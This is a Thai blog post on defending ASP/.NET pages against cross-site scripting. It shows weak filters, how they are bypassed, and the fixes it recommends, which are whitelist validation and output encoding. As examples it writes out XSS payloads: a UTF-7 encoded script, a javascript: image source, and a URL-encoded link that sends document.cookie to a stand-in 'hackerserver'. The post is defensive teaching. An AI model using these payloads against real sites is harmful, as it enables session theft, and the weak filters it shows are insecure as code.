วันศุกร์ที่ 6 เมษายน พ.ศ. 2555

การตรวจสอบ Cross Site Scripting

    ไม่ว่าข้อมูลใดๆก็ตามที่ได้รับจาก User  ถือว่ามีความเสี่ยงในด้านของปลอดภัยทั้งนั้น เพราะเราไม่สามารถรู้วัตถประสงค์ที่แท้จริงของผู้ใช้งานระบบของเราว่าเค้าจะ ใส่ข้อมูลที่เราต้องการหรืออาจจะเป็นข้อมูลที่เราไม่พึ่งประสงค์เข้ามาใน ระบบ หนทางที่ดีที่สุดคือการใส่ระบบป้องกันให้ระบบของเรา หรือ การเขียน program ให้ปลอดภัยนั้นเอง

      การโจมตีสามารถทำได้โดย การเขียน script ฝั่งลงไปกับข้อมูล (Cross site scripting attacks) หรือการหาช่ิองทางของคำสั่ง query ในฐานข้อมูลเพื่อดึงข้อมูลที่ต้องการออกมา (SQL injection attacks) สามารถทำได้หลากหลายรูปแบบ และเป็นสิ่งที่เราน่าจะเรียนรู้เพื่อนำไปสู่วิธี่การป้องกันที่ดี  ลองคิดดูว่าการเขียนโปรแกรมของเรามีการจัดการเรื่องพวกนี้ได้ดีแค่ไหน หรือ ดีพอหรือยัง มาดูตัวอย่างการป้องกันที่เราคิดว่าน่าจะเพียงพอ

 ถ้าข้อมูลที่เราได้รับเป็นแบบนี้ 

 somepage.aspx?foo=<script>alert('vulnerable XSS code')</script>

 ฝั่ง Server เราก็เขียนก็แค่เขียน filter เพื่อป้องกันไม่ให้ script นี้สามารถ รันได้

1 <%
2             fooString= Request.querystring("foo")
3             fooString = Replace(fooString, "<", " ")
4             fooString = Replace(fooString, ">", " ")
5             fooString = Replace(fooString, "%", " ")
6             fooString = Replace(fooString, ",", " ")
7             Response.Write fooString
8 %>

 จะเห็นได้ว่าแค่นี้ก็น่าจะเพียงพอแล้วที่เราจะป้องกันจากวิธีการโจมตีด้วยวิธีนี้ ถ้าอย่างนั้น หากผู้โจมตีเปลี่ยนรูปแบบข้อมูลเป็น

somepage.aspx?foo=%2bADw-script%2bAD4-alert('vulnerable XSS code')%2bADw-/script%2bAD4-

การป้องการด้านบนก็ไม่สามารถป้องกันได้

ถ้าเราเปลี่ยนมาใช้การเข้ารหัสข้อมูลที่เป็น  HTML ก่อนนำไปใช้งานโดย Server.HTMLEncode()

1 Server.HTMLEncode(<%= (Request.Params["Search"])%>);

 แต่ถ้าข้อมูลที่ได้รับเป็นแบบนี้

 1 <a id=evilLink  href="http://victimsite.com
 2 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 3 %2Fhackerserver%2Fhackersite
 4 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')
 5 %3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com
 6 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 7 %2Fhackerserver%2Fhackersite
 8 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%
 9 3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">
10 http://victimsite.com/default.aspx</a>

อีกตัวอย่างหนึ่งถ้าเราใช้  Server.HTMLEncode()

<IMG src='<%=Server.HtmlEncode(request("im"))%>'>

ถ้าข้อมูลมี่ได้รับเป็นแบบนี้

<IMG src="javascript:alert('XSS');"> 

สังเกตได้ว่าจะไม่มี tag "<"  หรือ ">" ให้เห็นเลย การเข้ารหัส HTML จึงไม่เกิดขึ้น

การตรวจข้อมูลที่นำเข้า (Input Validation)

 ดังนั้นก็ป้องกันที่ดีนั้นควรกำหนรูปแบบข้อมูลที่เราต้องการขึ้นมาก่อน หรือที่เรียกว่า White list แล้วทำการตรวจสอบ (Validation)เอาเฉพาะข้อมูลที่ต้องการเท่านั้น นอกเหนือจากนั้นถือว่าเป็น  ข้อมูลที่ไม่พึ่งประสงค์ การตรวจสอบอาจจะใช้ Regular expression เช่น

string pattern = @"^[A-Za-z]+$";  //รับข้อมูลที่เป็นตัวอักษร a-z เท่านั้น

การเข้ารหัสข้อมูลที่เราดึงมาใช้งาน  (Output Encoding)

 ใน  .net  สามารถนำ library Anti-Cross Site Scripting ของ Microsoft มาใช้ได้เลย

 http://msdn.microsoft.com/en-us/security/aa973814.aspx

 หรือใช้  XSSDetect  ซึ่งเป็น  pluginใน Visual Studio มาใช้ในการตรวจสอบ code
http://blogs.msdn.com/photos/ace_team/images/5611754/original.aspx

ที่มา ทีมงาน codesnippet

ข้อมูลจาก ruk-com.in.th

ไม่มีความคิดเห็น:

แสดงความคิดเห็น

;